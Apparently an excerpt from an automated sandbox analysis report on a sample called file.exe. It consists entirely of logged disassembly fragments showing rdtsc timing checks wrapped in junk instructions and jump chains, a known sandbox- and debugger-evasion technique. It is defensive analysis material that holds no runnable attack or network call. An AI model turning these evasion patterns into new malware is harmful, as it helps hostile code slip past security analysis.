Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB515 second address: ACB555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA36h 0x00000009 jmp 00007F4E14FBFA2Dh 0x0000000e jmp 00007F4E14FBFA2Ah 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F4E14FBFA26h 0x0000001c jne 00007F4E14FBFA26h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB555 second address: ACB561 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB561 second address: ACB565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAE97 second address: ACAE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAE9D second address: ACAEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF82D second address: ACF833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF833 second address: ACF838 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF838 second address: ACF845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF845 second address: ACF849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF849 second address: ACF86D instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F4E14FCA663h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0255 second address: AD025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD025A second address: AD0260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0D43 second address: AD0D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0D4C second address: AD0D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD293B second address: AD293F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD293F second address: AD294C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3146 second address: AD3150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4E14FBFA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3E59 second address: AD3EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F4E14FCA658h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 js 00007F4E14FCA662h 0x0000002b jne 00007F4E14FCA65Ch 0x00000031 push 00000000h 0x00000033 add esi, dword ptr [ebp+122D2AE2h] 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3EA6 second address: AD3EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3EAA second address: AD3EBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD499B second address: AD499F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD499F second address: AD49A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD49A3 second address: AD49F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jne 00007F4E14FBFA26h 0x00000010 pop edi 0x00000011 pop eax 0x00000012 nop 0x00000013 movzx esi, di 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122D17F0h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F4E14FBFA28h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a mov si, ax 0x0000003d mov edi, dword ptr [ebp+1246F695h] 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push esi 0x00000047 pushad 0x00000048 popad 0x00000049 pop esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD49F8 second address: AD4A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5513 second address: AD5518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD527B second address: AD5281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7E06 second address: AD7E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 jmp 00007F4E14FBFA2Eh 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F4E14FBFA28h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D38DEh], ebx 0x0000002e push 00000000h 0x00000030 mov ebx, dword ptr [ebp+1246C4C5h] 0x00000036 push 00000000h 0x00000038 jmp 00007F4E14FBFA36h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6FBC second address: AD6FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7E69 second address: AD7E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D09 second address: AD8D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D0F second address: AD8D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D13 second address: AD8D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F4E14FCA656h 0x00000011 jno 00007F4E14FCA656h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007F4E14FCA656h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9BA5 second address: AD9BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FBFA2Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9BB1 second address: AD9C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D32FEh], eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F4E14FCA658h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F4E14FCA658h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 xchg eax, esi 0x00000047 jmp 00007F4E14FCA669h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push esi 0x00000050 push esi 0x00000051 pop esi 0x00000052 pop esi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAB3A second address: ADAB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAB3E second address: ADABD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FCA661h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F4E14FCA669h 0x00000012 nop 0x00000013 sbb di, DAAFh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F4E14FCA658h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F4E14FCA658h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 xchg eax, esi 0x00000051 jmp 00007F4E14FCA665h 0x00000056 push eax 0x00000057 jl 00007F4E14FCA664h 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADABD6 second address: ADABDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBD17 second address: ADBD1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDC71 second address: ADDC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCCD8 second address: ADCCDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFAFE second address: ADFB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA36h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2C49 second address: AE2C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F4E14FCA656h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 jnp 00007F4E14FCA65Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D81 second address: AE0D8B instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E14FBFA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D8B second address: AE0D90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1CDE second address: AE1CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2DE1 second address: AE2E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F4E14FCA658h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 xor ebx, 37EED2E9h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f cld 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F4E14FCA658h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 mov edi, ecx 0x00000053 mov eax, dword ptr [ebp+122D09F9h] 0x00000059 mov ebx, dword ptr [ebp+1244C389h] 0x0000005f push FFFFFFFFh 0x00000061 mov ebx, esi 0x00000063 jo 00007F4E14FCA66Dh 0x00000069 jmp 00007F4E14FCA667h 0x0000006e nop 0x0000006f jc 00007F4E14FCA660h 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1CE2 second address: AE1CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3BE7 second address: AE3BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D90 second address: AE0DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4E14FBFA26h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push esi 0x00000011 movzx edi, cx 0x00000014 pop ebx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov ebx, eax 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F4E14FBFA28h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f jmp 00007F4E14FBFA30h 0x00000044 mov eax, dword ptr [ebp+122D0FADh] 0x0000004a mov edi, ecx 0x0000004c push FFFFFFFFh 0x0000004e mov ebx, dword ptr [ebp+122D2B8Ah] 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3BEB second address: AE3BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1CFA second address: AE1D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F4E14FBFA28h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 cmc 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov ebx, 48E69D70h 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov eax, dword ptr [ebp+122D0F21h] 0x00000040 mov di, bx 0x00000043 push FFFFFFFFh 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007F4E14FBFA28h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f push edx 0x00000060 mov dword ptr [ebp+122D2F16h], edi 0x00000066 pop ebx 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0DF9 second address: AE0E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1D7F second address: AE1D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0E00 second address: AE0E05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5C8F second address: AE5C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4FA3 second address: AE4FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84AFA second address: A84B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4E14FBFA26h 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F4E14FBFA2Eh 0x00000013 pop ecx 0x00000014 jmp 00007F4E14FBFA38h 0x00000019 push eax 0x0000001a push edx 0x0000001b jno 00007F4E14FBFA26h 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84B39 second address: A84B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0A63 second address: AF0A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0A67 second address: AF0A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0A6B second address: AF0A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0322 second address: AF0333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4E14FCA656h 0x00000009 jg 00007F4E14FCA656h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4CD6 second address: AF4CDB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4CDB second address: AF4CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4CE8 second address: AF4D41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FBFA2Dh 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F4E14FBFA2Ah 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007F4E14FBFA2Ah 0x0000001e jbe 00007F4E14FBFA26h 0x00000024 popad 0x00000025 jmp 00007F4E14FBFA38h 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4D41 second address: AF4D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4E14FCA656h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAD2C second address: AFAD33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9AE8 second address: AF9AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9AF0 second address: AF9AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9AF6 second address: AF9AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9AFA second address: AF9AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9AFE second address: AF9B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4E14FCA663h 0x0000000e jmp 00007F4E14FCA661h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA186 second address: AFA1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F4E14FBFA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F4E14FBFA2Dh 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA454 second address: AFA46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F4E14FCA65Ch 0x0000000b pop edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA46B second address: AFA46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA46F second address: AFA475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA5C6 second address: AFA5D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4E14FBFA26h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA5D3 second address: AFA5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA5D9 second address: AFA5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
